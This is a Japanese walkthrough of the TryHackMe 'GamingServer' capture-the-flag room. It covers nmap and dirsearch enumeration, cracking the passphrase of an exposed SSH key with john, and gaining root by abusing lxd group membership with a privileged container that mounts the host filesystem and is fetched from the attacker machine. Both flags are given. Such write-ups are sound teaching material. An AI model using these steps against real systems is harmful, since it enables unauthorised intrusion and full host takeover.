概要
TryHackMe「GamingServer」のWalkthroughです。
Task1
Q1.What is the user flag?
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.87.37 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
| 256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_ 256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: House of danak
|_http-server-header: Apache/2.4.29 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.6p1 |
80 | http | Apache httpd 2.4.29 |
ディレクトリ列挙を行います。
$ dirsearch -u http://10.10.87.37
[14:01:09] 200 - 2KB - /about.php
[14:01:09] 200 - 524B - /about.html
[14:02:31] 200 - 33B - /robots.txt
[14:02:33] 200 - 456B - /secret/
[14:02:33] 301 - 311B - /secret -> http://10.10.87.37/secret/
[14:02:47] 301 - 312B - /uploads -> http://10.10.87.37/uploads/
[14:02:47] 200 - 522B - /uploads/
robots.txt
には/uploads
パスが記載されていました。
/robots.txt
user-agent: *
Allow: /
/uploads/
/secret
にアクセスすると秘密鍵を入手しました。
秘密鍵をKaliに保存し、パスワードを解析します。
$ ssh2john id_rsa > id_hash.txt
$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
letmein (id_rsa)
パスワード分かったのでユーザー名を探します。
インデックスページのコメントアウトからjohn
というユーザー名を発見しました。
入手した情報を使って、SSHで接続に成功しました。
$ ssh -i id_rsa john@10.10.87.37
Enter passphrase for key 'id_rsa':
john@exploitable:~$
/home/john/user.txt
からフラグを入手できます。
user.txt
a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e
A.a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e
Q2.What is the root flag?
linpeas
を実行します。
id
を実行すると様々なグループに所属していると分かりました。
HackTricksで悪用出来るグループがあるか調べます。
lxd
のグループを悪用して権限昇格できそうです。
下記サイトを参考に実行します。
Kaliで攻撃環境を構築します。
$ git clone https://github.com/saghul/lxd-alpine-builder.git
# cd lxd-alpine-builder
$ sudo ./build-alpine
$ ls
alpine-v3.13-x86_64-20210218_0139.tar.gz alpine-v3.20-x86_64-20240717_1513.tar.gz build-alpine LICENSE README.md
$ python -m http.server 80
ターゲットマシン上で権限昇格をします。
$ cd /tmp
$ wget http://10.6.55.144/alpine-v3.13-x86_64-20210218_0139.tar.gz
$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
$ lxc image list
$ lxc init myimage ignite -c security.privileged=true
$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
$ lxc start ignite
$ lxc exec ignite /bin/sh
~ # whoami
root
root権限を取得できたのでフラグファイルを探します。
# find / -name root.txt 2>/dev/null
/mnt/root/root/root.txt
/mnt/root/root/root.txt
からフラグを入手できます。
/mnt/root/root/root.txt
2e337b8c9f3aff0c2b3e8d4e6a7c88fc
A.2e337b8c9f3aff0c2b3e8d4e6a7c88fc